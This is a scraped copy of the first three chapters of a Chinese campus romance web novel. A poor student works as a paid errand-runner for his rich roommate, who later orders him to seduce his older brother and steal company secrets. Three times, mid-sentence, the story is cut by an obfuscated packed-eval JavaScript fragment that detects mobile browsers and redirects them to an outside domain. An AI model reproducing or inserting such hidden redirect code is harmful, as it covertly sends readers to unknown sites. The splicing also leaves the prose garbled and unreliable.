《啊?我吗?》 1. 跟班 《啊?我吗?》文/璃言 2025.05.27 首发晋江文学城,谢绝转载。 离学校最近的手.冲咖啡店在东门的街尾,从陶稚现在这个位置走过去,来回大概要四十分钟的路程。 为了避免冰美式里面的冰块融化掉,抠门的陶稚心痛地扫了一辆共享单车,缩短了至少一半的时间。 成功拿到傅铮下单的饮品,他又赶忙蹬车回去。 冰块无伤。 咖啡送回到傅铮手上时,一向挑剔的大少爷难得没说什么,抬手接过。 指骨上的银戒在阳光的照耀下闪了陶稚一下,陶稚喘着气微微错开眼。 “还行。”傅铮扫了眼杯身上的标签,见号码没错,扯了扯唇角,语气像是嘲讽,又像是夸奖,分不出来,阴阳怪气的:“这回没拿错别人的咖啡给我。” “对不起嘛。”陶稚再次为以前做过的错事道歉。 傅铮:“……” 这人是真爱撒娇,人也娇气,说他两句表情就垮下来了。 以为低着脑袋他就看不出来吗?脸颊都鼓着。白皙的,柔软的脸颊微微鼓出一个弧度,嘴角耷拉着,摆明了就是不服气,说话也不会好好说。 对不起就对不起,还对不起嘛。 娇。 …… 也就是陶稚不知道他在想什么,不然绝对要喊冤。 因为陶稚这个人就和娇气这两个字没有任何关系。 谁家娇气的室友会帮他大老远拿咖啡?还帮他洗衣服刷鞋子代课拿快递开瓶盖?指哪干哪从无异议的? 陶稚是最能吃苦耐劳的那种类型才对。 嘴角耷着是因为他在炎热的夏天,大老远地蹬车来回,累得维持不了表情管理而已。 傅铮这个人简直不讲道理。 “哎呀,都多久以前的事情了,别总逮着他说了。”旁边傅铮的朋友眼见着气氛好像有点不对头,连忙岔开话题:“那什么,我听说你昨天去找戚家那小子的麻烦了?” 这是个好人。 陶稚知道对方在帮自己,擦了擦额角的汗渍后,向他投去感谢的目光。 一双柔软干净的双眸里,含着满满的感激之情。 看得这位朋友莫名脸一红,错开视线。 别的不说,傅铮的这个室友长得是真不错。 标准的鹅蛋脸,下巴尖尖,脸颊却带着恰到好处的肉感。有时候傅铮故意去扯他的脸,白皙的脸肉微微鼓起,看上去特别可爱。 鼻头和嘴唇也很小巧,还泛着淡淡的粉。 他的五官是漂亮的,眼神也十分纯粹,乌黑柔软的黑发搭在额前,气质干净朴实,给人一种很清纯的感觉。 他是这样认为的,但傅铮总说他室友是个笨蛋,很蠢。 真搞不懂这大少爷什么审美。 反正他被陶稚这么看上一眼,感觉自己能够原谅全世界。 像被南宫问雅摸过头似的,眼神都跟着清澈不少。挠了挠脑袋,他假装很忙地继续和傅铮说话:“你们没闹出什么事来吧。” “草,别提了。”说到这件事傅铮就冒火,陶稚的表情也变心虚,堪堪低头,看都不敢看傅铮一眼。 “???”怎么了这是?朋友不解。 “没什么,别问。”傅铮懒得说这件事,一说起来就觉得烦。 原因无他,因为陶稚又给他丢脸了。 傅大少爷习惯了前呼后拥一帮小弟跟着的日子,去找别人麻烦带人那是基本操作。可他现在身边没人,又恰好,陶稚正在宿舍。 于是就被他抓壮丁了。 但谁能想到陶稚连欺负人都不会? 去之前傅铮就和陶稚说过了,他警告完之后,陶稚充当狗腿子的任务,上去放两句狠话,然后拍拍他的脸,说“这就是惹我们傅少的下场,知道了吗?”,台词都给他准备好了。 结果陶稚倒好—— 算了不想了,越想越气。 真特么服了。 陶稚尽在外面给他丢人。 傅铮很不爽。 他深吸了一口气,压下额角躁郁的小十字,狠狠灌了自己一口冰美式,这才压下对陶稚的不满。 ……但陶稚完全不觉得自己有任何问题。 本来就是啊。 欺负人真的很不对。 陶稚从小老老实实本本分分,好脾气好性格,活了十八年别说跟人吵架了,就连红脸都没有过,突然让他去欺负别人……他真的做不来这种事。 能站在傅铮的身后挺直胸膛给他壮大气势,对陶稚来说就已经很了不起了。 但傅铮还是对他不满意。 赚点钱可真难啊。 陶稚叹了一口气。 等回过神来继续听他们说话时,他们已经换了个话题。 但依旧是围绕着先前欺负人的事。 “你哥不是让你别招惹他。” “你这样做算不算忤逆珩哥啊……”傅铮朋友说着说着声音逐渐变小,脸上还带上了些许惊恐,显然是很怕傅铮这个哥:“珩哥生起气来……” 陶稚抬了下头,眼神里是好奇。 他现在对傅铮充满怨气,还蛮好奇他们嘴里的“珩哥”是谁来着。 但傅铮却没当一回事。 除了脸色更臭,他没有一丁点的害怕:“他说我就要听?” “去警告那傻逼一顿怎么了?我还没揍他呢。” “那话也不是这么说嘛,人家好歹也是戚家的少爷,你哥最近跟戚家不是有个合作……” “那又怎样。”傅铮冷笑:“还能因为我俩闹点矛盾合作吹了?那要真是这样,傅司珩得检讨一下他自己是不是工作能力不足。” “行了,别啰嗦了。”傅铮满脸不爽,不想再提这件事。 他喊了一声陶稚,陶稚又开始当他的合格小跟班,有应必答:“我在。” 傅铮将他的背包递过去。 “拿回宿舍,还有。”傅铮面无表情地对他说:“去好好学学怎么当个小弟,别再给我丢脸了。” 短时间……可能是长时间里,他身边可以使唤的人,大概只有陶稚了。 陶稚必须变得聪明点。 “……哦。”陶稚同学乖乖地应了一声。 - 傅铮把自己的东西丢给陶稚之后,就和他的朋友去拳馆打拳了。 陶稚接下来,今天剩下的时间,大概是先把傅铮的背包拿去宿舍,然后再去图书馆看书,学习怎样当一个合格的小弟小跟班。 挺好的。 至少今天不用再跟着傅铮了。 意识到这一点,在对面两人转身离开的时候,陶稚竟然松了一口气。 因为比起跟着傅铮去做一些欺负人的事情,陶稚还是更喜欢干跑腿之类的活。 这样既对得起他拿的钱,又不用干昧着良心的事情,一举两得。 没错,陶稚给傅铮做事是拿钱的。 真金白银,定时爆金币的那种拿钱。 换句话说就是,傅铮是他的老板……之所以会这样,还得从国庆假期结束后开始说起。 国庆假期结束后的第一天,傅铮搬进了宿舍。 刚来的第一天,他就对陶稚颐指气使,行李往地上一放,毫不客气地让陶稚帮忙收拾。 陶稚也是好脾气。 虽然当时挺懵,但因为傅铮语气太过理所当然,所以他懵懵地照做了。 把行李箱里面的衣服拿出来挂进衣柜里,鞋子放在下层,帮忙铺床单套被子之类的事全部都做了。 傅铮也心安理得地享受着他的帮忙,一点搭手的意思都没有。 完事之后连句谢谢都没有,反而说的是“不错。” 陶稚:“……” 这新室友怪怪的。 不过陶稚也没怎么放在心上。 反正他当时正好有时间,就当是维护良好的室友关系吧。 可他不知道,这仅仅只是开始。 傍晚傅铮从外面回来,看见陶稚要出门,说顺便帮他拿个快递,反正你要出去。 晚上看见他在洗衣服,顺手将自己的衣服丢给他,让他洗干净点。 还有第二天早上起不来床,让陶稚去帮他上课。 刚入住不到24小时,就这么过分……陶稚后知后觉地发现自己好像被欺负了。 但这不重要。 重要的是,这严重耽误了他打工的时间! 今天早上没课,陶稚原本是想去商场扮玩偶发传单的。一个小时能有30块呢。 一上午发三个小时,90块,是他好几天的生活费,怎么能因为代课不去呢…… 绝对不行。在被压榨了接近24个小时后,陶稚首次对傅铮说了不。 他脾气再好,也架不住傅铮这样使唤他啊。 陶稚鼓起勇气拒绝,说我不去。 我要去兼职了。 ……这是你的课,你得自己去上。 傅铮:“?” 刚刚还说自己困到睁不开眼的大少爷立刻从床上坐起。 刚睡醒,带着一股不耐烦的神色,眉骨下压,薄薄的单眼皮垂着,看着很凶,语气也不好地开口:“你刚刚说什么?” 陶稚:“……” 陶稚有些害怕地退后两步。 ……他其实挺忤这个室友的。 高大、长得凶、说话时总是不耐烦,对人没个好脸色。 给人的感觉很像以前在老家念书的时候,那种不学无术的混混,整天就知道欺负同学,勒索好学生的零花钱。 他能被压榨接近24小时之久,有很大一部分原因也是因为害怕。 但是谁也不能阻止他去兼职。 他真的很需要这90块。 再说了,哪有这样的啊。 就算很有钱,在家过惯了大少爷的生活,也不能在学校总使唤别人啊。 陶稚内心腹诽,表面却不敢表现得太过抵抗。 他好声好气地和傅铮讲道理,说话时仰着脑袋,脖颈修长白皙,略微有些过长的黑发搭在颈侧,看上去十分柔软:“这是你的课,你要自己去上。” “不是。”傅铮揉了下自己的头发,耐心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796034|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经到达顶点了:“上一句。” 嗯? 上一句? 陶稚想了想:“我要去兼职了?” “手机,拿出来。”傅铮扯了下唇。 啊? “别特么发呆,手机拿出来。”傅铮凶他。 “哦……哦哦。”匆忙应了两声,陶稚从口袋里拿出手机。 与此同时,傅铮也撑着脑袋,从枕头旁拿起自己的手机。 陶稚不知道他想干嘛,拿着手机往上递,室友拿着手机往下扫。 一个iphone16 pro max。 一个小灵通。 傅铮:“?” 陶稚依旧仰着头,不解。 “我操。” 他这下真的要发火了,音量都控制不住:“你这是个什么玩意儿?!” “手机啊……”陶稚不懂他为什么会生气。但这样的表情和语气,让陶稚心里咯噔了一下。 “这玩意儿叫手机?!”傅铮音量上升。 陶稚:“……” 陶稚略显局促地抿了抿唇。 “我是真服了你了,你是从哪里来的原始人啊,智能手机都没有。” “要不是看你穿得真寒酸,我特么真当你在耍我了。” 傅铮骂骂咧咧地起床。 陶稚听他这么说,脸颊烫得火热,又往后退了两步。 起床了,应该就是要去上课的意思吧?那他也该走了。 陶稚其实是有点委屈的。他挪啊挪的,差不多快挪到门口了,傅铮一转头,看到他的动作,又把他叫了回来。 “跑什么,过来。” 语气很凶,感觉下一秒就要勒索他了,陶稚硬着头皮走过去。 他真的很不喜欢傅铮。 嗓门大,凶,坏脾气,爱指使人……陶稚决定,以后都不会再听他的话了,他要反抗,他又不欠傅铮的—— 几张百元大钞忽然塞进了他的手里。 陶稚愣住。 “就这点现金了,先拿着吧。”傅铮说话时语气依旧不耐烦:“上完课再去买个智能手机,我真服了你了。” 顿了一下,补充:“我报销。” 陶稚:“啊?” 这是……给他的吗? 陶稚依旧不明白他的意思。 “啊什么啊。”傅铮没好气:“还傻站着,我八点上课。” “代课去。” 陶稚:“……” 好吧。 陶稚必须得承认,他为这一千块心动了。 一千块啊,他得去兼职多少个小时才能赚到……陶稚懵懵地收下钱,问清楚教室之后就头脑混乱地去帮忙代课了。 不过手机没敢买,因为太贵。 而且代课回来后又想了想,觉得这钱好烫手,自己不应该收……他很不舍地进行了半小时的自我拉扯,最终含泪想把钱还回去。 傅铮没收。 不仅没收,还让他别烦人。 第二天又给了他一个最新款的新手机。 丢在他桌上,对他说:“什么乱七八糟的兼职全停了,以后你只需要服务我,懂吗?洗衣买饭,刷鞋拿快递,我叫你做的,你全部都得做。” “我会给你钱。” 至此,陶稚成为了室友傅铮用金钱收买的小跟班。 他尽职尽责地听傅铮的话,把傅铮照顾到吃饭递筷,喝水开盖的巨婴程度。 傅铮也确实给了他很多钱。 短短两周,前前后后给他转了七八千块……这对他来说真的是一笔巨款。 陶稚一度以为这是个好工作。 ……然后就发生了大学生欺负高中生的事情。 唉,傅铮竟然专门跑到别人高中去堵人,真是难以置信,也很丢脸。 希望以后不要再发生这种事了。傅铮以后只让他跑腿就好了,欺负人什么的,他做不来还得挨骂,真的很冤枉的。 怀揣着对未来的美好愿望,陶稚走在了回宿舍的路上。 但到楼下时,傅铮的背包忽然响起了一阵急促的手机铃声。 陶稚愣了愣。 傅铮把手机遗落在包里了吗? 陶稚原本没想管的,毕竟私自动别人的东西不太礼貌,但电话铃声却锲而不舍地响着。 一直到回宿舍,竟然都没有停下。 该不会是什么很要紧的事情吧? 陶稚忽然想到,没准这是傅铮的电话也说不定。 发现手机落在背包里了,所以打电话让他送过去。意识到这点,陶稚连忙从包里拿出手机。 铃声却在这时停下,紧接着是一连串的消息发过来。 纪助理:【二少,戚少爷跟傅总告状了,傅总很生气。】 纪助理:【我建议您外出躲下风头。】 纪助理:【对了,戚少爷告状的时候,还说您带了小弟羞.辱他,傅总更生气了,他说他想看看到底还有谁敢跟着您胡来。】 ……啊? 跟班小弟?羞.辱? 是说,他吗? 陶稚捏着手机一脸茫然。 2. 真白 陶稚发誓,他绝对没有做过这样的事情。 他要是会羞.辱人,他就不会被傅铮骂一路了……傅铮的脾气真的很暴躁,冷嘲热讽外加阴阳怪气,经常把他说得抬不起头来,那种滋味一点都不好受。 当时的真实情况是,他因为劝架和犹豫,被傅铮不耐烦地从身后拉出来往前推了一把,差点摔倒。 但没摔。 硬着头皮站稳后,又按照傅铮说的,皮挺起胸膛给他撑场面,尽职尽责地当狗腿子,成功说出那句“这就是惹我们傅少的下场!” ……然后那个人就更激动了,说傅铮什么意思,派了个小丑过来羞辱他! 陶稚当时:“?” 陶稚现在:“……” 如果这也算是羞.辱的话……陶稚觉得自己真是很冤。 他抿了抿唇,捏着傅铮的手机,表情十分无辜,还挺想给自己解释一下的。 但他不知道傅铮的手机密码。 ——实际上,就算知道他也不会这样做,私自动别人东西是很没有礼貌的行为。 那就没办法了,陶稚撇了撇嘴,又将手机放回到傅铮的背包里。 毕竟他不知道傅铮在哪个拳馆,也没有办法给他送过去。 暂时就先这样吧。 希望傅铮有良心的话,可以主动帮他解释。 放好东西后,陶稚离开了宿舍。 - 今天接下来的时间大概就是待在图书馆了。 陶稚前十八年的生活过得简单,除了学习之外就是照顾家里,为人十分老实本分,从来没做过给人当狗腿子小弟的活。 但没有办法,傅铮要求了,他就必须得做到。 那就只能从网络小说中学习了。 一个下午的时间,陶稚刷了将近三十多本打脸爽文小说,废寝忘食到午饭都没有吃。 当然,三十多本他没有全部看完,而是挑挑拣拣看了一些里面反派作妖,带着小弟去欺负男主的情节。 看了很多,陶稚觉得自己大概学会了。 虽然不见得有多厉害,但至少不会再给傅铮丢人。 知识全部汲取完毕,赶在下午六点之前,陶稚将书本合上,离开了图书馆。 走在回去的路上,他意外地接到了妹妹的电话。 “哥!哥!”电话一接通,里面立刻传来妹妹激动的声音:“你怎么给我打了这么多钱啊!” “你发达啦哥?!” 陶稚眨了眨眼。 发达不至于,但给傅铮当小弟之后,他手头确实宽裕了很多。 傅铮虽然脾气不好,但为人真的很大方。从他手里赚到的那些钱,陶稚给妹妹转了三千多,又转了三千到家里,剩下的留作自己的生活费。 “这三千块是你强化班的费用,上次你班主任在群里说的那个。”妹妹的事情解决了,陶稚还挺高兴的,说话时笑意明显:“生活费我再晚点转给你,手边还有钱吗?” “有的,哥……”电话那边的妹妹顿了一下。 虽然觉得有点奇怪,但她还是先应下陶稚的话,然后才像是想起什么似的开口,声音比之前高了一个度:“可是张老师说自愿参加啊!可以不参加的!哥,你突然打这么多钱,该不会是在拼命打工压榨自己来的吧!我不上强化班了!” “你别把自己的身体累垮了,你还是个学生呢!” “……”妹妹声音太大了,陶稚稍微把电话拿远了一点。 “我没有啊。”他说:“我没有去打工。” “那你哪来的这么多钱!”妹妹不信,大声质问。 “室友给的嘛。”知道瞒不过去,陶稚一五一十地交代:“我们宿舍新搬来了一个室友,很有钱……但住在宿舍不太适应,就拜托我在生活上多多照顾他,帮忙洗衣服拿快递之类的。” “我帮他做,他会给我发工资。” “啊?”听到前半段话,以为哥哥被欺负了的妹妹都开始捋袖子了,结果后面这句又让她愣住了。 又愣又懵,过了好一会儿才开口说话:“给、给你钱?” 竟然还有这样的人? “对啊。”陶稚也觉得不可思议,但更多的是觉得自己幸运:“他出手很大方的。” “之前我确实在外面兼职,但现在不用了。” 现在只需要听傅铮的话就好了。 虽然傅铮的话不好听。 陶稚同学悄悄腹诽。 妹妹:“……” 妹妹挠了挠脑袋。 一时之间竟然有点不知道该说什么好,半晌,她才结结巴巴地问:“那、那他有没有欺负你啊?” “没有啊,他人很好的。”陶稚思考了片刻,回想起傅铮大方给钱的样子,给了中肯的评价。 上午被念叨的不满也随之消失了。 现在他又觉得傅铮人还不错。 是个会爆金币的好人。 虽然脾气坏。 “这样哦……”妹妹从震惊中缓过来了。 说真的,如果别人跟她说这种事,她绝对不会相信。 但这是他哥说的哎。 他哥从来不会说谎话…… “好吧。”只当哥哥也许真的遇到好人了,她定了定神:“没有欺负你就好。总之,你一个人在外面念书,一定要好好照顾自己,不要逞强,知道吗?” “也不要再给我打那么多钱啦,你要好好吃饭!” “好哦。”强装大人口吻的妹妹把陶稚给逗笑了。 他应下妹妹的话。 “嗯嗯嗯,那就这样哦,我要上晚自习啦,拜拜。” “好。” 电话挂断,陶稚看着已经暗掉的手机界面,莫名感觉心头一暖。 至少妹妹的事情解决了。 所以对陶稚来说,傅铮出现,至少解决了陶稚80%的麻烦。 ……另外20%是平时被傅铮的坏脾气搞到招架不来—— 不行不行。 怎么能这样在心里说财神爷的不好呢?傅铮可是个好人! 陶稚使劲摇了摇头,驱散自己脑海中大逆不道的想法,并且,对傅铮的忠诚度拼命+1+1+1。 他决定,就算傅铮今天再有过分的要求,他都不会在心里蛐蛐他,而是会充满热情,无条件地答应金主老板的全部要求! 一定——! - 怀着对金主老板的感激之情,陶稚欢欢喜喜地回了宿舍。 要对傅铮热情一点,不要顶嘴,傅铮是他的财神,他的金主—— 一路在心里复习着注意事项回去,结果刚到宿舍门口,陶稚正准备开门,里面忽然传来“砰”地一声巨响,直接把陶稚给震懵了。 发、发生了什么? 宿舍里面正在打架吗?谁和谁? 陶稚一整个傻眼,在门口愣了好一会儿,心也跟着提了起来。 正在他犹豫不决要不要进去看看的时候,对门宿舍的男生推开门,好奇地询问:“好大的动静,怎么了?” “……我也不知道。”陶稚老实回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796035|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “那你有钥匙吗?感觉里面是不是打架了。”男生说:“我们要不要叫保安过来看看?” “?!” 这可不行。 在校内打架可是要被处分的! “应该没、没事的!可能只是不小心撞倒了什么东西。”陶稚不会撒谎,替傅铮掩饰的话说得磕磕绊绊又漏洞百出。 对面的男生挑了下眉。 陶稚硬着头皮往下说:“没事的,我有钥匙,我进去看看就好了。” 说完,他难得没有礼貌地把男生推进去,主动关上对面的门,然后再回到自己的宿舍前。 深吸了一口气,陶稚压下门把锁—— 里面的场景让他震惊。 甚至比打架还要让他震惊。 开门之前,他觉得就算是打架,那也只有傅铮打别人的份,没想到打开门,是傅铮被人打倒在地! 陶稚瞳孔地震! 此时此刻,他的金主,他的财神爷,他的老板,正被人无情地碾在地上。 纯黑色的,线条凛冽的昂贵皮鞋踩在他老板背上,泛着泠泠冷光。 “傅铮,你可真有出息。一个大学生,带人跑到高中去,逮着一个高中生欺负。” 男人说话时嗓音冷漠,十月的天,让人感觉到刺骨的寒意。 门口的陶稚无端地抖了一下。 “傅司珩,你讲点道理。”傅铮这会儿是不服气的,咬着牙挣扎着想起身:“是他先——” “闭嘴,别跟我说什么原因,我不想听。”男人打断傅铮的话。 并且随着傅铮挣扎的动作,他的鞋头往下压了压。 傅铮直接被碾在了地上,头都抬不起来。 “我今天过来,只告诉你一件事。我不管你跟谁,有任何矛盾,再有一次,谁把状告到我面前来,你就给我滚蛋。” “滚蛋的意思是,我心情好,你就离开国内。” “我要是心情不好,让你休学个半年一年,找哪个农村山沟沟把你扔过去,也就是一句话的事。” 男人说着,俯下身用手背拍了拍傅铮的脸:“懂了吗。” 傅铮满脸屈辱,眼里的恨意不加掩饰。 “……懂了。”不服,但咬着牙,一字一句地应声。 陶稚被吓傻了。 他的脑袋一片空白,但此刻还很敬业地在想,原来傅铮希望他做的是这样的动作,确实挺羞辱人…… “还有,你那个小跟班。”男人警告完傅铮,抬眼,往门口望去。 被吓到脸色苍白的男生依旧站在门口没动。 他被眼前的一幕震惊到瞳孔都涣散了,呆呆地看着,做不出任何反应。 只在傅司珩目光落在他身上的时候,他的眸光才终于有了聚焦。 被吓死了还哆哆嗦嗦地进来,把门关上,靠墙站着,极力缩小着自己的存在感。 胆子很小。 ……人看上去也挺小的。 略显稚嫩的脸庞,五官精致小巧,柔软的黑发乖巧地搭在额前,配合着低头的动作,莫名地让人觉得十分乖巧。 是那种一眼看上去,会让人觉得气质干净,单纯淳朴的类型。 进门之后,连头都不敢抬,但被目光注视到后,会不自觉地挺直背脊,脖颈跟着绷紧。 颈侧有一滴冷汗滑落。 顺着脖颈的线条向下,没入锁骨。 …… 真白。 皮肤白到晃眼。 就连汗珠都好似在晶莹透光。 3. 邪恶 好、好可怕啊。 傅铮的哥哥比傅铮可怕多了。 那道锐利的目光停留在他身上,其中的压迫感简直让陶稚快要喘不上气。 这时候连关心老板都顾不上了,陶稚开始担心自己。 傅铮哥哥要开始找他麻烦了吗? 毕竟他就是那个“羞辱”人的小跟班,该不会也要把他踩在地上吧? 好惨啊。 想到自己的悲惨下场,陶稚被吓得闭上了眼,都已经做好被揍的准备了。 但意外的事,想象中的情况并没有发生。 傅司珩的目光从陶稚脸上挪开,再次落在了傅铮的身上。 然后,脸色和语气又沉了许多,好像说着些什么教训的话。 但陶稚却没听清他在说什么。 因为他现在只有对劫后余生的庆幸。 嗯?不找他的麻烦了吗? 竟然放过他了吗? 陶稚睁开了眼。 他动作缓慢地睁开一只眼,还悄悄地抬头,往那两兄弟的方向看去。 傅司珩给人的压迫感真的很强,尽管穿着看上去很显斯文的拜衬衫,但完全不会让人觉得他优雅随和。 大概是因为长相的原因。 傅司珩面相硬朗,眉骨深邃凌厉,周身气势冷峻威严,一眼望过去,只会让人觉得不敢直视。 尤其他揍傅铮的时候,还脱下了西装外套。 白色的衬衫贴合着肌肉线条,勾勒出精悍结实,以及让人恐惧的身形轮廓。 陶稚刚刚抬头看一眼,立马又低下了头。 好吓人的。 他咽了咽口水,不敢再看。 而傅司珩揍完傅铮后,也准备走了。 他的脚终于从傅铮背上移开,低头擦拭着指骨上的血迹。 而对应的地方,是傅铮的鼻子正往下流着鼻血。 “好好记住我跟你说过的话。”傅司珩说完,抬手拿过先前搭在陶稚椅背上的外套后,无情又冷酷地离开了宿舍。 “砰”地一声关门声响传来,震得陶稚回神。 他被放过了。 陶稚松了一口气,又连忙抬头,快速走到他老板身边。 “傅铮,你还好吧?!” 陶稚赶忙搀起他,把他扶到距离最近的椅子上坐着,开始在宿舍里寻找医疗用品。 转了一圈,只找到了医用棉签。 凑合着用吧。 陶稚又连忙回到傅铮的身边。 傅铮正低头坐着。 脸色阴沉,自己擦干净鼻血后,手肘撑在膝盖上,让陶稚给他做简单的清理。 “傅铮,不然我们去医务室吧?最好还是冰敷一下……”陶稚将医用棉签塞进了他的鼻腔内,但语气依旧十分担心。 “陶稚。”傅铮打断他匆忙又焦急的话。 陶稚抬头:“什么?” “我命令你去勾引我哥。”傅铮说话时抬起头。 他面色阴鸷,眸光黑沉,咬着牙,一字一句地对陶稚说:“你去勾引他,玩弄他,再甩了他,然后再窃取他公司的机密。” 虽然被揍了,但傅铮此刻头脑却是清醒得不得了。 他已经酝酿出了一个惊天大阴谋。 “我要争权,我才要让他滚蛋。” 语气平静,但人是疯的。 陶稚:“?” 陶稚觉得自己大概是幻听了。 他瞪着眼,张了张嘴,伸手指指自己,只觉得眼前一黑:“我、我吗?” “没错,就是你。”傅铮现在毫无理智可言。他站起身,宛如困兽一般在宿舍里转了一圈,对陶稚发号施令:“我要让他为今天的事情付出代价,该滚蛋去山沟沟的也应该是他才对。” “你必须做这件事。” “咚”地一声响传来。 傅铮回头:“?” 陶稚一时腿软,被傅铮吓得摔在地上。 - 这次是傅铮扶的陶稚。 说扶也不太恰当,至少傅铮的动作没有陶稚那么温柔小心。 他看见陶稚瘫倒在地,直接伸手把他拽了起来。 刚刚傅铮的位置,现在换陶稚坐。 傅铮则是从旁边扯了把椅子过来,和陶稚面对面,双手撑在他的椅子上,像是把他困住了,不允许他逃离:“这件事我们得好好计划一下,具体应该怎么做。” 陶稚:“……” 陶稚现在眼前还黑着。 他现在脑海里全是傅铮他哥,冷酷无情的脸,一米九几的身高,令人觉得恐惧压迫的体型,还有将傅铮碾在地上拍脸时,嘲讽的表情。 这样一个人,傅铮让自己去勾引? 还不仅勾引,还要玩弄,甩掉,再窃取商业机密,协助傅铮夺权……陶稚现在满脑子只有这样一幅画面—— 西游记里,九头虫对他的小弟说。 你去把唐僧师徒除掉.jpg 陶稚眼前一黑又一黑。 偏偏傅铮完全没有意识到哪里不对,还在那里滔滔不绝地说着他的计划。 陶稚听得脑袋晕乎乎,连忙抓住傅铮的手臂:“等、等一下!” “?” 傅铮抬了下眼。 “我我我我觉得这样是不是不太好啊?” 傅铮此刻正不爽着,虽然不是针对他,但他一个眼神过来,轻而易举地就让陶稚坐直了,脖颈也跟着绷紧,双手搭在自己的膝盖上,硬着头皮说:“我怎么可能做得来这种事情啊。” “我做不了的,真的……不行。” “怎么不能做了。”傅铮自认为还挺了解陶稚。 他呼出一口气,冷淡道:“事成之后,我给你钱。” “这不是钱的问题……”陶稚就算再缺钱也不会干这种事啊。 傅铮:“不是钱的问题是什么问题。” 陶稚:“……” 是他真的很害怕傅司珩的问题。 虽然只见了短短一面。 “……我真的做不来。”陶稚小声,搭在膝盖上的手指微微蜷起。 “事成之后给你五百万。”傅铮面无表情地说。 五百万…… 天啊。 这是陶稚做梦都不敢想的数字。 他做过最大的梦就是大学毕业后月入过万,结果傅铮开口就是百万…… 陶稚咽了咽口水,脑袋又开始晕乎了。 ……然后又拼命地摇头。 “不行的,傅铮,我真的做不到。” 啧。 “陶稚,我平时对你不薄吧,怎么叫你帮点小忙你推三阻四的。”砸钱不管用,傅铮开始打感情牌。 这一招略微有点成效。 陶稚听到后,表情确实有所松动。 傅铮确实对他不薄。 出手大方,又转钱又买手机的,陶稚是打心眼里觉得自己为傅铮做的事,和收到工资不对等。 但因为实在缺钱,所以还是昧着良心收下了。 对于这件事,他一直都挺不好意思来着。 可是,可是…… 陶稚总感觉自己遗忘了什么重要的事情。 到底是什么啊…… 焦急地想着办法,忽然,他的眼眸一亮,像是抓到了什么救命稻草似的,激动地抓住了傅铮的手臂:“可是我是男生啊,我是男生!” “男生怎么勾引男生?!” 傅铮:“?” 傅铮愣了一秒。 他刚刚纯属是被气过头了,脑子里很自然地想到了以前和狐朋狗友们聊天时,听到过的一些乱七八糟商战和馊主意。 他还将两者结合在了一起。 既要玩弄感情,又要窃取商业机密。 现在经过陶稚的提醒,理智可算有所回归。 具体体现在,他盯着陶稚看了好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796036|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一会儿,眼神中的阴狠黑沉逐渐变得清澈,茫然。 “……操。”半晌,他低骂了一声。 陶稚从未觉得傅铮骂人竟然能如此悦耳……他的胸膛不自觉地挺直,稍微多了点儿底气,不安的感觉也消散了不少。 “你哥哥应该不喜欢男生吧?”即使被人提了过分的要求,被吓到头脑晕乎慌张,但陶稚依旧好声好气,不红脸地和傅铮说着话。 “不知道,我得问问。”傅铮沉声道。 “……好哦。”虽然傅铮没有马上否认,但陶稚还是松了一口气。 他是小地方来的,淳朴又单纯的他根本想不到城里人会有多少恶毒的馊主意。 但至少,眼前的情况已经解决了。 ……终于解决了。 - 并且接下来三四天,傅铮都没有再主动找陶稚说这件事。 陶稚才算是彻底放下心来。 是的嘛。 傅铮他有钱,他完全可以去外面雇人做这种事,没必要非要找他的。 且先不说他一个男生要怎么勾引男生,就单单傅司珩这个人,对陶稚来说,就很难以招架。 是比傅铮还要难搞十倍的招架不住。 不过好在,傅铮看起来像是放弃了。 星期三的晚上,陶稚是这样认为的。 但第二天,傅铮就主动找他了。 翌日下午,傅铮上完课后回到宿舍,专门坐在陶稚的位置上等他。 大概一个小时,陶稚才回来。 傅铮听到声音,连游戏都不玩,立马将椅子转了个方向,冲他抬了抬下巴:“你过来。” “嗯?”上了一整天课的陶稚同学,关上门后发出单纯的声音:“怎么了吗?” 傅铮没回答他,只盯着他看。 陶稚疑惑,但有乖乖听话地走过去。 他将自己肩上的书包放在桌面上,刚往后退开一步,傅铮忽然抓住了他的手腕。 陶稚愣了一秒。 等回过神的时候,就换成他坐下了。 他坐在自己的椅子上,傅铮站在他面前,弯着腰,一手撑在在扶手上,另一只手,则捏住了他的下巴,在认真打量他的脸。 傅铮虽说和傅司珩是亲兄弟,但其实他并不怎么了解傅司珩。 因为两人的年龄差距太大了。 傅铮18岁,傅司珩28岁,足足有十岁的年龄差。 他还是个小屁孩的时候,他哥就已经念大学了。 读大学,住校,不常回家,兄弟没什么感情基础,互不了解。 所以傅铮也没有办法去试探傅司珩的性取向如何。 而为了计划保密,他也不能去问傅司珩的朋友。 